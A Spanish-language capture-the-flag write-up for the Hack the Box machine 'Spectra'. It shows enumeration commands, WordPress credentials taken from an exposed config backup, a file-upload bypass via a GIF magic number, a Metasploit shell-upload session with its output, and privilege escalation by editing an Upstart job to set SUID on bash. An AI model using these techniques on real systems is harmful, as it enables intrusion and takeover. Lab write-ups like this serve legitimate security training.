En este writeup vamos a ver cómo resolver la máquina Spectra de la plataforma de Hack the Box.
Conexión
Conectar nuestra máquina de ataque a la VPN:
$ openvpn gorkamu-htb.ovpn
Enumeración
Empezamos haciendo un escaneo de puertos:
$ sudo nmap -sS -sC -sV --min-rate 5000 -n -Pn -vvv -p22,80,3306 10.10.10.229 -oN nmap_services.txt
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 63 OpenSSH 8.1 (protocol 2.0)
| ssh-hostkey:
| 4096 52:47:de:5c:37:4f:29:0e:8e:1d:88:6e:f9:23:4d:5a (RSA)
80/tcp open http syn-ack ttl 63 nginx 1.17.4
| http-methods:
|_ Supported Methods: GET HEAD
|_http-server-header: nginx/1.17.4
|_http-title: Site doesn't have a title (text/html).
3306/tcp open mysql syn-ack ttl 63 MySQL (unauthorized)
|_ssl-cert: ERROR: Script execution failed (use -d to debug)
|_ssl-date: ERROR: Script execution failed (use -d to debug)
|_sslv2: ERROR: Script execution failed (use -d to debug)
|_tls-alpn: ERROR: Script execution failed (use -d to debug)
|_tls-nextprotoneg: ERROR: Script execution failed (use -d to debug)
Vemos que tiene el puerto 80 abierto así que vamos a lanzar un script básico de enumeración en nmap y un whatweb.
$ nmap --script http-enum 10.10.10.229 -v -oN nmap_http_enum.txt
80/tcp open http
| http-enum:
|_ /testing/: Potentially interesting folder w/ directory listing
$ whatweb 10.10.10.229
http://10.10.10.229 [200 OK] Country[RESERVED][ZZ], HTTPServer[nginx/1.17.4], IP[10.10.10.229], nginx[1.17.4]
Si abrimos el navegador web y ponemos la ip empezamos a ver dos cosas interesantes.
Por un lado tenemos que los enlaces de la página principal apuntan a un dominio spectra.htb, por lo que tendremos que añadirlo a nuestro fichero /etc/hosts

Por otro lado según el análisis de http-enum de nmap vemos que el directorio /testing/ existe y tiene directory listing activado y muestra lo que parece ser una instalación de Wordpress

Por esta vía, si inspeccionamos el fichero wp-config.php.save encontramos las siguientes credenciales:

Vamos a lanzar un wfuzz a la IP a ver si vemos algo:
$ wfuzz -c --hc=404 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt http://10.10.10.229/FUZZ
No parece haber nada salvo los directorios /main/ y /testing/
Si analizamos las cabeceras HTTP encontramos algunas interesantes:
- X-Powered-By: PHP/5.6.40
- Link: http://spectra.htb/main/index.php?rest_route=/; rel="https://api.w.org/"
- Server: nginx/1.17.4
Si volvemos a revisar el wordpress que se encuentra en main podremos ver que el usuario que ha publicado la primera entrada se llama “administrator” así que vamos a intentar loguearnos con ese usuario y las credenciales encontradas anteriormente.
Capturar User Flag
- Usuario: administrator
- Password: devteam01
Entramos al panel de administración de Wordpress.
Si intentamos subir una reverse shell en php nos dará un error de que no se puede subir ese tipo de ficheros por seguridad y si intentamos modificar la plantilla 404.php para incluir una llamada a system tampoco nos dejará.
Para subir la reverse shell en php vamos a modificar su magic number añadiendo lo siguiente al ppio del fichero (GIF8)

Haciendo esto y añadiendo una segunda extensión gif al fichero original, el sistema nos lo reconocerá como un fichero GIF y nos lo dejará subir.

Ahora, abrimos una pestaña nueva con una conexión netcat escuchando y accedemos al recurso.
Y no funciona.
Iremos por metasploit.
$ msfconsole
msf6 > use exploit/unix/webapp/wp_admin_shell_upload
msf6 > set username administrator
msf6 > set password devteam01
msf6 > set targeturi /main
msf6 > set rhost 10.10.10.229
msf6 > run
[*] Authenticating with WordPress using administrator:devteam01...
[+] Authenticated with WordPress
[*] Preparing payload...
[*] Uploading payload...
[*] Executing the payload at /main/wp-content/plugins/OWBFNyezxb/qYWyUnpzWd.php...
[*] Sending stage (39282 bytes) to 10.10.10.229
[+] Deleted qYWyUnpzWd.php
[+] Deleted OWBFNyezxb.php
[+] Deleted ../OWBFNyezxb
[*] Meterpreter session 1 opened (10.10.14.20:4444 -> 10.10.10.229:43584) at 2021-06-10 16:04:07 +0200
meterpreter > shell
Process 4458 created.
Channel 0 created.
sh: 0: getcwd() failed: No such file or directory
sh: 0: getcwd() failed: No such file or directory
id
uid=20155(nginx) gid=20156(nginx) groups=20156(nginx)
Si navegamos al directorio /opt veremos el fichero autologin.conf.orig y al leerlo veremos lo siguiente:

Ahí hace referencia a dos directorios pero si nos dirigimos al segundo, a /etc/autologin veremos el fichero passwd con el siguiente contenido
SummerHereWeCome!!
Si probamos a conectarnos por ssh con el usuario katie y esta contraseña lo lograremos.
En su directorio tendremos el fichero user.txt con la user flag.
Capturar Root Flag
Para capturar la root flag nos tenemos que fijar en los permisos del usuario katie.
Para ello:
$ sudo -l
User katie may run the following commands on spectra:
(ALL) SETENV: NOPASSWD: /sbin/initctl
Esto nos dice que puede ejecutar /sbin/initctl como sudo sin necesidad de poner la contraseña.
Este demonio nos permite comunicarnos con el init de Upstar, es decir, comunicarnos con aquellos programas que se ejecutan al arrancar la máquina.
Si nos dirigimos a /etc/init podremos ver cuántos de ellos se levantan automáticamente.

Tenemos que editar el fichero /etc/init/test.conf y añadir lo siguiente:

Esto hará que al ejecutar /sbin/initctl como root y reiniciemos el servicio test, le añada el byte de SUID a /bin/bash.
$ sudo /sbin/initctl start test
test start/running, process 4233
$ /bin/bash -p
# whoami
# root
Ahora simplemente tendremos que leer el fichero /root/root.txt para obtener la root flag